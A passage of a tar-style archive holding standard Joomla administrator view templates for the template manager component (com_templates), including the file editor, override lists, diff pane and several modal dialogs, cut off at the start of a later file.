 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal"><?php echo Text::_('COM_TEMPLATES_TEMPLATE_CLOSE'); ?></button>
<button type="submit" class="btn btn-primary"><?php echo Text::_('COM_TEMPLATES_BUTTON_RENAME'); ?></button>
template/default_modal_file_footer.php000064400000000666151752357440014272 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal"><?php echo Text::_('COM_TEMPLATES_TEMPLATE_CLOSE'); ?></button>
template/default_modal_resize_footer.php000064400000001043151752357440014642 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal"><?php echo Text::_('COM_TEMPLATES_TEMPLATE_CLOSE'); ?></button>
<button type="submit" class="btn btn-primary"><?php echo Text::_('COM_TEMPLATES_BUTTON_RESIZE'); ?></button>
template/default_modal_child_footer.php000064400000001053151752357440014425 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal"><?php echo Text::_('COM_TEMPLATES_TEMPLATE_CLOSE'); ?></button>
<button type="submit" class="btn btn-primary"><?php echo Text::_('COM_TEMPLATES_BUTTON_TEMPLATE_CHILD'); ?></button>
template/default_modal_resize_body.php000064400000002610151752357440014302 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<div id="template-manager-resize" class="container-fluid">
    <div class="mt-2">
        <div class="col-md-12">
            <div class="control-group">
                <div class="control-label">
                    <label for="height">
                        <?php echo Text::_('COM_TEMPLATES_IMAGE_HEIGHT')?>
                    </label>
                </div>
                <div class="controls">
                    <input class="form-control" type="number" name="height" id="height" placeholder="<?php echo $this->image['height']; ?> px" required>
                </div>
            </div>
            <div class="control-group">
                <div class="control-label">
                    <label for="width">
                        <?php echo Text::_('COM_TEMPLATES_IMAGE_WIDTH')?>
                    </label>
                </div>
                <div class="controls">
                    <input class="form-control" type="number" name="width" id="width" placeholder="<?php echo $this->image['width']; ?> px" required>
                </div>
            </div>
        </div>
    </div>
</div>
template/default.php000064400000065507151752357440010546 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Jfcherng\Diff\DiffHelper;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;

HTMLHelper::_('behavior.multiselect', 'updateForm');
HTMLHelper::_('bootstrap.modal');

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa    = $this->document->getWebAssetManager();
$input = Factory::getApplication()->getInput();

// Enable assets
$wa->useScript('form.validate')
    ->useScript('keepalive')
    ->useScript('com_templates.admin-template-toggle-switch')
    ->useScript('com_templates.admin-templates')
    ->useStyle('com_templates.admin-templates');

// No access if not global SuperUser
if (!Factory::getUser()->authorise('core.admin')) {
    Factory::getApplication()->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'danger');
}

if ($this->type == 'image') {
    $wa->usePreset('cropperjs');
}

if ($this->type == 'font') {
    $wa->addInlineStyle("
		@font-face {
			font-family: previewFont;
			src: url('" . $this->font['address'] . "')
		}
		.font-preview {
			font-family: previewFont !important;
		}
	");
}
?>
<div class="main-card">
    <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'editor', 'recall' => true, 'breakpoint' => 768]); ?>
    <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'editor', Text::_('COM_TEMPLATES_TAB_EDITOR')); ?>
    <div class="row mt-2">
        <div class="col-md-8" id="conditional-section">
            <?php if ($this->type == 'file') : ?>
                <p class="lead"><?php echo Text::sprintf('COM_TEMPLATES_TEMPLATE_FILENAME', '&#x200E;' . ($input->get('isMedia', 0) ? '/media/templates/' . ((int) $this->template->client_id === 0 ? 'site' : 'administrator') . '/' . $this->template->element . str_replace('//', '/', base64_decode($this->file)) : '/' . ((int) $this->template->client_id === 0 ? '' : 'administrator/') . 'templates/' . $this->template->element . str_replace('//', '/', base64_decode($this->file))), $this->template->element); ?></p>
                <p class="lead path hidden"><?php echo $this->source->filename; ?></p>
            <?php endif; ?>
            <?php if ($this->type == 'image') : ?>
                <p class="lead"><?php echo Text::sprintf('COM_TEMPLATES_TEMPLATE_FILENAME', '&#x200E;' . $this->image['path'], $this->template->element); ?></p>
                <p class="lead path hidden"><?php echo $this->image['path']; ?></p>
            <?php endif; ?>
            <?php if ($this->type == 'font') : ?>
                <p class="lead"><?php echo Text::sprintf('COM_TEMPLATES_TEMPLATE_FILENAME', '&#x200E;' . $this->font['rel_path'], $this->template->element); ?></p>
                <p class="lead path hidden"><?php echo $this->font['rel_path']; ?></p>
            <?php endif; ?>
        </div>
        <?php if ($this->type == 'file' && !empty($this->source->coreFile)) : ?>
            <div class="col-md-4 text-end">
                <div id="toggle-buttons">
                    <?php echo $this->form->renderField('show_core'); ?>
                    <?php echo $this->form->renderField('show_diff'); ?>
                </div>
            </div>
        <?php endif; ?>
    </div>
    <div class="row mt-2">
        <div id="treeholder" class="col-md-3 tree-holder">
            <div class="mt-2 mb-2">
                <ul class="directory-tree treeselect">
                    <li class="folder-select">
                        <a class="folder-url" data-id="" href="">
                            <span class="icon-folder icon-fw" aria-hidden="true"></span>
                            <?php echo ((int) $this->template->client_id === 0 ? '/' : '/administrator/') . 'templates/' . $this->template->element; ?>
                        </a>
                        <?php echo $this->loadTemplate('tree'); ?>
                    </li>
                </ul>
                <?php if (count($this->mediaFiles)) : ?>
                    <ul class="directory-tree treeselect">
                        <li class="folder-select">
                            <a class="folder-url" data-id="" href="">
                                <span class="icon-folder icon-fw" aria-hidden="true"></span>
                                <?php echo '/media/templates/' . ((int) $this->template->client_id === 0 ? 'site/' : 'administrator/') . $this->template->element; ?>
                            </a>
                            <?php echo $this->loadTemplate('tree_media'); ?>
                        </li>
                    </ul>
                <?php endif; ?>
            </div>
        </div>
        <div class="col-md-9">
            <fieldset class="options-form">
                <?php if ($this->type == 'home') : ?>
                    <legend><?php echo Text::_('COM_TEMPLATES_HOME_HEADING'); ?></legend>
                    <form action="<?php echo Route::_('index.php?option=com_templates&view=template&id=' . $input->getInt('id') . '&file=' . $this->file . '&isMedia=' . $input->get('isMedia', 0)); ?>" method="post" name="adminForm" id="adminForm">
                        <input type="hidden" name="task" value="">
                        <?php echo HTMLHelper::_('form.token'); ?>
                        <p><?php echo Text::_('COM_TEMPLATES_HOME_TEXT'); ?></p>
                        <p>
                            <a href="https://docs.joomla.org/Special:MyLanguage/J4.x:Template_Overrides" target="_blank" rel="noopener" class="btn btn-primary btn-lg">
                                <?php echo Text::_('COM_TEMPLATES_HOME_BUTTON'); ?>
                            </a>
                        </p>
                    </form>
                <?php elseif ($this->type == 'file') : ?>
                    <div class="row">
                        <div class="col-md-12" id="override-pane">
                            <?php $overrideCheck = explode(DIRECTORY_SEPARATOR, $this->source->filename); ?>
                            <?php if (!empty($this->source->coreFile)) : ?>
                                <h2><?php echo Text::_('COM_TEMPLATES_FILE_OVERRIDE_PANE'); ?></h2>
                            <?php endif; ?>
                            <form action="<?php echo Route::_('index.php?option=com_templates&view=template&id=' . $input->getInt('id') . '&file=' . $this->file . '&isMedia=' . $input->get('isMedia', 0)); ?>" method="post" name="adminForm" id="adminForm">
                                <input type="hidden" name="isMedia" value="<?php echo $input->get('isMedia', 0); ?>">
                                <div class="editor-border">
                                    <?php echo $this->form->getInput('source'); ?>
                                </div>
                                <input type="hidden" name="task" value="" />
                                <?php echo HTMLHelper::_('form.token'); ?>
                                <?php echo $this->form->getInput('extension_id'); ?>
                                <?php echo $this->form->getInput('filename'); ?>
                            </form>
                        </div>
                        <?php if (!empty($this->source->coreFile)) : ?>
                            <div class="col-md-12" id="core-pane">
                                <h2><?php echo Text::_('COM_TEMPLATES_FILE_CORE_PANE'); ?></h2>
                                <div class="editor-border">
                                    <?php echo $this->form->getInput('core'); ?>
                                </div>
                            </div>
                            <?php
                                $difference = DiffHelper::calculateFiles(
                                    $this->source->coreFile,
                                    $this->source->filePath,
                                    ComponentHelper::getParams('com_templates')->get('difference', 'SideBySide'),
                                    [
                                        'context' => 1,
                                        'ignoreLineEnding' => true,
                                    ],
                                    [
                                        'language' => [
                                            'old_version' => Text::_('COM_TEMPLATES_DIFF_CORE'),
                                            'new_version' => Text::_('COM_TEMPLATES_DIFF_OVERRIDE'),
                                            'differences' => Text::_('COM_TEMPLATES_DIFF_DIFFERENCES'),
                                        ],
                                        'resultForIdenticals' => Text::_('COM_TEMPLATES_DIFF_IDENTICAL'),
                                        'detailLevel' => 'word',
                                        'spaceToHtmlTag' => true,
                                        'wrapperClasses' => ['diff-wrapper', 'columns-order-ignore'],
                                    ]
                                );
                            ?>
                            <div class="col-md-12" id="diff-main">
                                <h2><?php echo Text::_('COM_TEMPLATES_FILE_COMPARE_PANE'); ?></h2>
                                <div class="diff-pane">
                                    <div id="diff"><?php echo $difference; ?></div>
                                </div>
                            </div>
                        <?php endif; ?>
                    </div>
                <?php elseif ($this->type == 'archive') : ?>
                    <legend><?php echo Text::_('COM_TEMPLATES_FILE_CONTENT_PREVIEW'); ?></legend>
                    <form action="<?php echo Route::_('index.php?option=com_templates&view=template&id=' . $input->getInt('id') . '&file=' . $this->file . '&isMedia=' . $input->get('isMedia', 0)); ?>" method="post" name="adminForm" id="adminForm">
                        <ul class="nav flex-column well">
                            <?php foreach ($this->archive as $file) : ?>
                                <li>
                                    <?php if (substr($file, -1) === DIRECTORY_SEPARATOR) : ?>
                                        <span class="icon-folder icon-fw" aria-hidden="true"></span>&nbsp;<?php echo $file; ?>
                                    <?php endif; ?>
                                    <?php if (substr($file, -1) != DIRECTORY_SEPARATOR) : ?>
                                        <span class="icon-file icon-fw" aria-hidden="true"></span>&nbsp;<?php echo $file; ?>
                                    <?php endif; ?>
                                </li>
                            <?php endforeach; ?>
                        </ul>
                        <input type="hidden" name="task" value="">
                        <?php echo HTMLHelper::_('form.token'); ?>
                    </form>
                <?php elseif ($this->type == 'image') : ?>
                    <legend><?php echo $this->escape(basename($this->image['address'])); ?></legend>
                    <img id="image-crop" src="<?php echo $this->image['address'] . '?' . time(); ?>" style="max-width: 100%">
                    <form action="<?php echo Route::_('index.php?option=com_templates&view=template&id=' . $input->getInt('id') . '&file=' . $this->file . '&isMedia=' . $input->get('isMedia', 0)); ?>" method="post" name="adminForm" id="adminForm">
                        <fieldset class="adminform">
                            <input type="hidden" id="x" name="x">
                            <input type="hidden" id="y" name="y">
                            <input type="hidden" id="h" name="h">
                            <input type="hidden" id="w" name="w">
                            <input type="hidden" id="imageWidth" value="<?php echo $this->image['width']; ?>">
                            <input type="hidden" id="imageHeight" value="<?php echo $this->image['height']; ?>">
                            <input type="hidden" name="task" value="">
                            <?php echo HTMLHelper::_('form.token'); ?>
                        </fieldset>
                    </form>
                <?php elseif ($this->type == 'font') : ?>
                    <div class="font-preview">
                        <form action="<?php echo Route::_('index.php?option=com_templates&view=template&id=' . $input->getInt('id') . '&file=' . $this->file . '&isMedia=' . $input->get('isMedia', 0)); ?>" method="post" name="adminForm" id="adminForm">
                            <fieldset class="adminform">
                                <h1>H1. Quickly gaze at Joomla! views from HTML, CSS, JavaScript and XML</h1>
                                <h2>H2. Quickly gaze at Joomla! views from HTML, CSS, JavaScript and XML</h2>
                                <h3>H3. Quickly gaze at Joomla! views from HTML, CSS, JavaScript and XML</h3>
                                <h4>H4. Quickly gaze at Joomla! views from HTML, CSS, JavaScript and XML</h4>
                                <h5>H5. Quickly gaze at Joomla! views from HTML, CSS, JavaScript and XML</h5>
                                <h6>H6. Quickly gaze at Joomla! views from HTML, CSS, JavaScript and XML</h6>
                                <p><strong>Bold. Quickly gaze at Joomla! views from HTML, CSS, JavaScript and XML</strong></p>
                                <p><em>Italics. Quickly gaze at Joomla! views from HTML, CSS, JavaScript and XML</em></p>
                                <p>Unordered List</p>
                                <ul>
                                    <li>Item</li>
                                    <li>Item</li>
                                    <li>Item<br>
                                        <ul>
                                            <li>Item</li>
                                            <li>Item</li>
                                            <li>Item<br>
                                                <ul>
                                                    <li>Item</li>
                                                    <li>Item</li>
                                                    <li>Item</li>
                                                </ul>
                                            </li>
                                        </ul>
                                    </li>
                                </ul>
                                <p class="lead">Ordered List</p>
                                <ol>
                                    <li>Item</li>
                                    <li>Item</li>
                                    <li>Item<br>
                                        <ul>
                                            <li>Item</li>
                                            <li>Item</li>
                                            <li>Item<br>
                                                <ul>
                                                    <li>Item</li>
                                                    <li>Item</li>
                                                    <li>Item</li>
                                                </ul>
                                            </li>
                                        </ul>
                                    </li>
                                </ol>
                                <input type="hidden" name="task" value="">
                                <?php echo HTMLHelper::_('form.token'); ?>
                            </fieldset>
                        </form>
                    </div>
                <?php endif; ?>
            </fieldset>
        </div>
    </div>
    <?php echo HTMLHelper::_('uitab.endTab'); ?>
    <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'overrides', Text::_('COM_TEMPLATES_TAB_OVERRIDES')); ?>
    <div class="row mt-2">
        <div class="col-md-3">
            <fieldset class="options-form">
                <legend><?php echo Text::_('COM_TEMPLATES_OVERRIDES_MODULES'); ?></legend>
                <ul class="list-unstyled">
                    <?php $token = Session::getFormToken() . '=' . 1; ?>
                    <?php foreach ($this->overridesList['modules'] as $module) : ?>
                        <li>
                            <?php
                            $overrideLinkUrl = 'index.php?option=com_templates&view=template&task=template.overrides&folder=' . $module->path
                                . '&id=' . $input->getInt('id') . '&file=' . $this->file . '&isMedia=' . $input->get('isMedia', 0) . '&' . $token;
                            ?>
                            <a href="<?php echo Route::_($overrideLinkUrl); ?>">
                                <span class="icon-copy" aria-hidden="true"></span>&nbsp;<?php echo $module->name; ?>
                            </a>
                        </li>
                    <?php endforeach; ?>
                </ul>
            </fieldset>
        </div>
        <div class="col-md-3">
            <fieldset class="options-form">
                <legend><?php echo Text::_('COM_TEMPLATES_OVERRIDES_COMPONENTS'); ?></legend>
                <ul class="list-unstyled">
                    <?php $token = Session::getFormToken() . '=' . 1; ?>
                    <?php foreach ($this->overridesList['components'] as $key => $value) : ?>
                        <li class="component-folder">
                            <a href="#" class="component-folder-url">
                                <span class="icon-folder icon-fw" aria-hidden="true"></span>&nbsp;<?php echo $key; ?>
                            </a>
                            <ul class="list-unstyled">
                                <?php foreach ($value as $view) : ?>
                                    <li>
                                        <?php
                                        $overrideLinkUrl = 'index.php?option=com_templates&view=template&task=template.overrides&folder=' . $view->path
                                            . '&id=' . $input->getInt('id') . '&file=' . $this->file . '&isMedia=' . $input->get('isMedia', 0) . '&' . $token;
                                        ?>
                                        <a class="component-file-url" href="<?php echo Route::_($overrideLinkUrl); ?>">
                                            <span class="icon-copy" aria-hidden="true"></span>&nbsp;<?php echo $view->name; ?>
                                        </a>
                                    </li>
                                <?php endforeach; ?>
                            </ul>
                        </li>
                    <?php endforeach; ?>
                </ul>
            </fieldset>
        </div>
        <div class="col-md-3">
            <fieldset class="options-form">
                <legend><?php echo Text::_('COM_TEMPLATES_OVERRIDES_PLUGINS'); ?></legend>
                <ul class="list-unstyled">
                    <?php $token = Session::getFormToken() . '=' . 1; ?>
                    <?php foreach ($this->overridesList['plugins'] as $key => $group) : ?>
                        <li class="plugin-folder">
                            <a href="#" class="plugin-folder-url">
                                <span class="icon-folder icon-fw" aria-hidden="true"></span>&nbsp;<?php echo $key; ?>
                            </a>
                            <ul class="list-unstyled">
                                <?php foreach ($group as $plugin) : ?>
                                    <li>
                                        <?php
                                        $overrideLinkUrl = 'index.php?option=com_templates&view=template&task=template.overrides&folder=' . $plugin->path
                                            . '&id=' . $input->getInt('id') . '&file=' . $this->file . '&isMedia=' . $input->get('isMedia', 0) . '&' . $token;
                                        ?>
                                        <a class="plugin-file-url" href="<?php echo Route::_($overrideLinkUrl); ?>">
                                            <span class="icon-copy" aria-hidden="true"></span> <?php echo $plugin->name; ?>
                                        </a>
                                    </li>
                                <?php endforeach; ?>
                            </ul>
                        </li>
                    <?php endforeach; ?>
                </ul>
            </fieldset>
        </div>
        <div class="col-md-3">
            <fieldset class="options-form">
                <legend><?php echo Text::_('COM_TEMPLATES_OVERRIDES_LAYOUTS'); ?></legend>
                <ul class="list-unstyled">
                    <?php $token = Session::getFormToken() . '=' . 1; ?>
                    <?php foreach ($this->overridesList['layouts'] as $key => $value) : ?>
                        <li class="layout-folder">
                            <a href="#" class="layout-folder-url">
                                <span class="icon-folder icon-fw" aria-hidden="true"></span>&nbsp;<?php echo $key; ?>
                            </a>
                            <ul class="list-unstyled">
                                <?php foreach ($value as $layout) : ?>
                                    <li>
                                        <?php
                                        $overrideLinkUrl = 'index.php?option=com_templates&view=template&task=template.overrides&folder=' . $layout->path
                                            . '&id=' . $input->getInt('id') . '&file=' . $this->file . '&' . $token . '&isMedia=' . $input->get('isMedia', 0);
                                        ?>
                                        <a href="<?php echo Route::_($overrideLinkUrl); ?>">
                                            <span class="icon-copy" aria-hidden="true"></span>&nbsp;<?php echo $layout->name; ?>
                                        </a>
                                    </li>
                                <?php endforeach; ?>
                            </ul>
                        </li>
                    <?php endforeach; ?>
                </ul>
            </fieldset>
        </div>
    </div>
    <?php echo HTMLHelper::_('uitab.endTab'); ?>

    <?php if ($this->pluginState) : ?>
        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'files', Text::_('COM_TEMPLATES_TAB_UPDATED_FILES')); ?>
        <?php echo $this->loadTemplate('updated_files'); ?>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>
    <?php endif; ?>

    <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'description', Text::_('COM_TEMPLATES_TAB_DESCRIPTION')); ?>
    <div class="row mt-2">
        <div class="col-12">
            <?php echo $this->loadTemplate('description'); ?>
        </div>
    </div>
    <?php echo HTMLHelper::_('uitab.endTab'); ?>

    <?php echo HTMLHelper::_('uitab.endTabSet'); ?>

    <?php // Collapse Modal
    $taskName = isset($this->template->xmldata->inheritable) && (string) $this->template->xmldata->inheritable === '1' ? 'child' : 'copy';
    $copyModalData = [
        'selector' => $taskName . 'Modal',
        'params'   => [
            'title'  => Text::_('COM_TEMPLATES_TEMPLATE_' . strtoupper($taskName)),
            'footer' => $this->loadTemplate('modal_' . $taskName . '_footer')
        ],
        'body' => $this->loadTemplate('modal_' . $taskName . '_body')
    ];
    ?>
    <form action="<?php echo Route::_('index.php?option=com_templates&task=template.' . $taskName . '&id=' . $input->getInt('id') . '&file=' . $this->file); ?>" method="post">
        <?php echo LayoutHelper::render('libraries.html.bootstrap.modal.main', $copyModalData); ?>
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
    <?php if ($this->type != 'home') : ?>
        <?php // Rename Modal
        $renameModalData = [
            'selector' => 'renameModal',
            'params'   => [
                'title'  => Text::sprintf('COM_TEMPLATES_RENAME_FILE', str_replace('//', '/', $this->fileName)),
                'footer' => $this->loadTemplate('modal_rename_footer')
            ],
            'body' => $this->loadTemplate('modal_rename_body')
        ];
        ?>
        <form action="<?php echo Route::_('index.php?option=com_templates&task=template.renameFile&id=' . $input->getInt('id') . '&file=' . $this->file . '&isMedia=' . $input->get('isMedia', 0)); ?>" method="post">
            <?php echo LayoutHelper::render('libraries.html.bootstrap.modal.main', $renameModalData); ?>
            <?php echo HTMLHelper::_('form.token'); ?>
        </form>
    <?php endif; ?>
    <?php if ($this->type != 'home') : ?>
        <?php // Delete Modal
        $deleteModalData = [
            'selector' => 'deleteModal',
            'params'   => [
                'title'  => Text::_('COM_TEMPLATES_ARE_YOU_SURE'),
                'footer' => $this->loadTemplate('modal_delete_footer')
            ],
            'body' => $this->loadTemplate('modal_delete_body')
        ];
        ?>
        <?php echo LayoutHelper::render('libraries.html.bootstrap.modal.main', $deleteModalData); ?>
    <?php endif; ?>
    <?php // File Modal
    $fileModalData = [
        'selector' => 'fileModal',
        'params'   => [
            'title'      => Text::_('COM_TEMPLATES_NEW_FILE_HEADER'),
            'footer'     => $this->loadTemplate('modal_file_footer'),
            'height'     => '400px',
            'width'      => '800px',
            'bodyHeight' => 70,
            'modalWidth' => 80,
        ],
        'body' => $this->loadTemplate('modal_file_body')
    ];
    ?>
    <?php echo LayoutHelper::render('libraries.html.bootstrap.modal.main', $fileModalData); ?>
    <?php // Folder Modal
    $folderModalData = [
        'selector' => 'folderModal',
        'params'   => [
            'title'      => Text::_('COM_TEMPLATES_MANAGE_FOLDERS'),
            'footer'     => $this->loadTemplate('modal_folder_footer'),
            'height'     => '400px',
            'width'      => '800px',
            'bodyHeight' => 70,
            'modalWidth' => 80,
        ],
        'body' => $this->loadTemplate('modal_folder_body')
    ];
    ?>
    <?php echo LayoutHelper::render('libraries.html.bootstrap.modal.main', $folderModalData); ?>
    <?php if ($this->type == 'image') : ?>
        <?php // Resize Modal
        $resizeModalData = [
            'selector' => 'resizeModal',
            'params'   => [
                'title'  => Text::_('COM_TEMPLATES_RESIZE_IMAGE'),
                'footer' => $this->loadTemplate('modal_resize_footer')
            ],
            'body' => $this->loadTemplate('modal_resize_body')
        ];
        ?>
        <form action="<?php echo Route::_('index.php?option=com_templates&task=template.resizeImage&id=' . $input->getInt('id') . '&file=' . $this->file . '&isMedia=' . $input->get('isMedia', 0)); ?>" method="post">
            <?php echo LayoutHelper::render('libraries.html.bootstrap.modal.main', $resizeModalData); ?>
            <?php echo HTMLHelper::_('form.token'); ?>
        </form>
    <?php endif; ?>
</div>
template/default_folders.php000064400000001704151752357440012251 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

ksort($this->files, SORT_STRING);
?>

<ul class="directory-tree treeselect">
    <?php foreach ($this->files as $key => $value) : ?>
        <?php if (is_array($value)) : ?>
            <li class="folder-select">
                <a class="folder-url" data-id="<?php echo base64_encode($key); ?>" href="" data-base="template">
                    <span class="icon-folder icon-fw" aria-hidden="true"></span>
                    <?php $explodeArray = explode('/', rtrim($key, '\\'));
                    echo $this->escape(end($explodeArray)); ?>
                </a>
                <?php echo $this->folderTree($value); ?>
            </li>
        <?php endif; ?>
    <?php endforeach; ?>
</ul>
template/default_modal_child_body.php000064400000005535151752357440014075 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

Factory::getDocument()->getWebAssetManager()->usePreset('choicesjs');

// Generate a list of styles for the child creation modal
$options = [];

if (count($this->styles) > 0) {
    foreach ($this->styles as $style) {
        $options[] = HTMLHelper::_('select.option', $style->id, $style->title, 'value', 'text');
    }
}

$fancySelectData = [
    'autocomplete'   => 'off',
    'autofocus'      => false,
    'class'          => '',
    'description'    => '',
    'disabled'       => false,
    'group'          => false,
    'id'             => 'style_ids',
    'hidden'         => false,
    'hint'           => '',
    'label'          => '',
    'labelclass'     => '',
    'onchange'       => '',
    'onclick'        => '',
    'multiple'       => true,
    'pattern'        => '',
    'readonly'       => false,
    'repeat'         => false,
    'required'       => false,
    'size'           => 4,
    'spellcheck'     => false,
    'validate'       => '',
    'value'          => '0',
    'options'        => $options,
    'dataAttributes' => [],
    'dataAttribute'  => '',
    'name'           => 'style_ids[]',
];
?>
<div id="template-manager-copy" class="container-fluid">
    <div class="mt-2">
        <div class="col-md-12">
            <div class="control-group">
                <div class="control-label">
                    <label for="new_name">
                        <?php echo Text::_('COM_TEMPLATES_TEMPLATE_CHILD_NAME_LABEL'); ?>
                    </label>
                </div>
                <div class="controls">
                    <input class="form-control" type="text" id="new_name" name="new_name" required>
                    <small class="form-text">
                        <?php echo Text::_('COM_TEMPLATES_TEMPLATE_NEW_NAME_DESC'); ?>
                    </small>
                </div>
            </div>
            <div class="control-group">
                <div class="control-label">
                    <label for="style_ids">
                        <?php echo Text::_('COM_TEMPLATES_TEMPLATE_CHILD_STYLE_LABEL'); ?>
                    </label>
                </div>
                <div class="controls">
                    <?php echo LayoutHelper::render('joomla.form.field.list-fancy-select', $fancySelectData); ?>
                    <small class="form-text">
                        <?php echo Text::_('COM_TEMPLATES_TEMPLATE_NEW_STYLE_DESC'); ?>
                    </small>
                </div>
            </div>
        </div>
    </div>
</div>
template/readonly.php000064400000002331151752357450010722 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

$input = Factory::getApplication()->getInput();
?>
<form action="<?php echo Route::_('index.php?option=com_templates&view=template&id=' . $input->getInt('id') . '&file=' . $this->file); ?>" method="post" name="adminForm" id="adminForm">
    <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'description', 'recall' => true, 'breakpoint' => 768]); ?>
        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'description', Text::_('COM_TEMPLATES_TAB_DESCRIPTION')); ?>
        <div class="card">
            <div class="card-body">
                <?php echo $this->loadTemplate('description'); ?>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>
    <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
    <input type="hidden" name="task" value="">
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
template/default_tree_media.php000064400000004041151752357450012707 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Router\Route;

// Legacy is the default
if (!count($this->mediaFiles)) {
    return;
}

?>

<ul class="directory-tree treeselect">
    <?php foreach ($this->mediaFiles as $key => $value) : ?>
        <?php if (is_array($value)) : ?>
            <?php
            $keyArray  = explode('/', rtrim($key, '\\'));
            $fileArray = explode('/', $this->fileName);
            $count     = 0;

            $keyArrayCount = count($keyArray);

            if (count($fileArray) >= $keyArrayCount) {
                for ($i = 0; $i < $keyArrayCount; $i++) {
                    if ($keyArray[$i] === $fileArray[$i]) {
                        $count++;
                    }
                }

                if ($count === $keyArrayCount) {
                    $class = 'folder show';
                } else {
                    $class = 'folder';
                }
            } else {
                $class = 'folder';
            }

            ?>
            <li class="<?php echo $class; ?>">
                <a class="folder-url" href="">
                    <span class="icon-folder icon-fw" aria-hidden="true"></span>&nbsp;<?php $explodeArray = explode('/', $key);
                    echo $this->escape(end($explodeArray)); ?>
                </a>
                <?php echo $this->mediaTree($value); ?>
            </li>
        <?php endif; ?>
        <?php if (is_object($value)) : ?>
            <li>
                <a class="file" href="<?php echo Route::_('index.php?option=com_templates&view=template&id=' . $this->id . '&file=' . $value->id . '&isMedia=1'); ?>">
                    <span class="icon-file-alt" aria-hidden="true"></span>&nbsp;<?php echo $this->escape($value->name); ?>
                </a>
            </li>
        <?php endif; ?>
    <?php endforeach; ?>
</ul>
template/default_modal_copy_body.php000064400000002041151752357450013752 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<div id="template-manager-copy" class="container-fluid">
    <div class="mt-2">
        <div class="col-md-12">
            <div class="control-group">
                <div class="control-label">
                    <label for="new_name">
                        <?php echo Text::_('COM_TEMPLATES_TEMPLATE_NEW_NAME_LABEL'); ?>
                    </label>
                </div>
                <div class="controls">
                    <input class="form-control" type="text" id="new_name" name="new_name" required>
                    <small class="form-text">
                        <?php echo Text::_('COM_TEMPLATES_TEMPLATE_NEW_NAME_DESC'); ?>
                    </small>
                </div>
            </div>
        </div>
    </div>
</div>
template/default_updated_files.php000064400000011676151752357450013435 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
